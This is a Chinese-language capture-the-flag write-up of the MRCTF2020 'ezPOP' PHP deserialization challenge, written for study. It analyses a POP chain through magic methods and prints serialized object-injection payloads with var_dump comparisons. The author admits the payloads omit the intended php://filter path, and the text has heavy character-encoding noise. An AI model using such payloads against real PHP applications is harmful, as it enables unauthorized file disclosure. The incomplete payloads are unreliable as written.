MRCTF2020--ezPOP初學(xué)者學(xué)習(xí)與分析
我們直接上題目

我們知道,php的反序列化題目大多是依靠我們傳入一個(gè)序列化的對(duì)象,依靠我們唯一能控制的成員屬性,利用題目里面的魔術(shù)方法一層一層跳轉(zhuǎn)達(dá)到我們 “借刀殺人” 的目的,獲取敏感的數(shù)據(jù),也可以被稱為 “面向?qū)傩跃幊?/strong>”?
題目里包含的魔術(shù)方法如下:

我們開(kāi)始分析題目:

我們分析pop鏈的題目時(shí),最好使用逆向分析的方法,也就是把我們離目標(biāo)最近的思路搞清楚,再去想怎么把這個(gè)思路實(shí)現(xiàn),也就是上面圖片的箭頭
下面是Payload:
我犯了一個(gè)小錯(cuò)誤
后面的‘flag.php’其實(shí)就是‘php://xxxxx/resource=flag.php’
忘記改了,抱歉
正確Payload:

O:4:"Show":2:{s:6:"source";r:1;s:3:"str";O:4:"Test":1:{s:1:"p";O:8:"Modifier":1:{s:13:"%00Modifier%00var";s:8:"flag.php";}}}
?
錯(cuò)誤Payload:

O:4:"Show":2:{s:6:"source";O:4:"Show":2:{s:6:"source";N;s:3:"str";N;}s:3:"str";O:4:"Test":1:{s:1:"p";O:8:"Modifier":1:{s:13:"%00Modifier%00var";s:8:"flag.php";}}}
?
分析: 使用 var_dump($s)
正確版:
object(Show)#2 (2) {
? ["source"]=>
? *RECURSION*
? ["str"]=>
? object(Test)#1 (1) {
? ? ["p"]=>
? ? object(Modifier)#3 (1) {
? ? ? ["var":"Modifier":private]=>
? ? ? string(8) "flag.php"
? ? }
? }
}
O:4:"Show":2:{s:6:"source";r:1;s:3:"str";O:4:"Test":1:{s:1:"p";O:8:"Modifier":1:{s:13:" Modifier var";s:8:"flag.php";}}}
錯(cuò)誤版:
object(Show)#2 (2) {
? ["source"]=>
? object(Show)#4 (2) {
??? ["source"]=>
??? NULL
??? ["str"]=>
??? NULL
? }
? ["str"]=>
? object(Test)#1 (1) {
??? ["p"]=>
??? object(Modifier)#3 (1) {
????? ["var":"Modifier":private]=>
????? string(8) "flag.php"
??? }
? }
}
?
可以看到,錯(cuò)誤payload的source里的str為NULL,讓觸發(fā)__toString的對(duì)象執(zhí)__toString里面的代碼,接下來(lái)我們只要控制刪不刪除$s的str,兩個(gè)都回顯flag,那說(shuō)明方向是對(duì)的
?
①不刪除:
object(Show)#2 (2) {
? ["source"]=>
? object(Show)#4 (2) {
??? ["source"]=>
??? NULL
??? ["str"]=>
??? object(Test)#1 (1) {
????? ["p"]=>
????? object(Modifier)#3 (1) {
??????? ["var":"Modifier":private]=>
??????? string(8) "flag.php"
????? }
?? ?}
? }
? ["str"]=>
? object(Test)#1 (1) {
??? ["p"]=>
??? object(Modifier)#3 (1) {
????? ["var":"Modifier":private]=>
????? string(8) "flag.php"
??? }
? }
}
O:4:"Show":2:{s:6:"source";O:4:"Show":2:{s:6:"source";N;s:3:"str";O:4:"Test":1:{s:1:"p";O:8:"Modifier":1:{s:13:"%00Modifier%00var";s:8:"flag.php";}}}s:3:"str";r:4;}
成功回顯flag
?
②刪除
object(Show)#2 (2) {
? ["source"]=>
? object(Show)#4 (2) {
??? ["source"]=>
??? NULL
??? ["str"]=>
??? object(Test)#1 (1) {
????? ["p"]=>
????? object(Modifier)#3 (1) {
??????? ["var":"Modifier":private]=>
??????? string(8) "flag.php"
????? }
??? }
? }
? ["str"]=>
? NULL
}
O:4:"Show":2:{s:6:"source";O:4:"Show":2:{s:6:"source";N;s:3:"str";O:4:"Test":1:{s:1:"p";O:8:"Modifier":1:{s:13:"%00Modifier%00var";s:8:"flag.php";}}}s:3:"str";N;}
成功回顯flag
---------
過(guò)了幾分鐘,越想越不對(duì)勁,直接跳下床,我發(fā)現(xiàn)幾分鐘之前的我蠢得可以,echo source這個(gè)對(duì)象觸發(fā)的不就是source的__toString嗎,我在干什么???
如有錯(cuò)誤,請(qǐng)各位大佬指正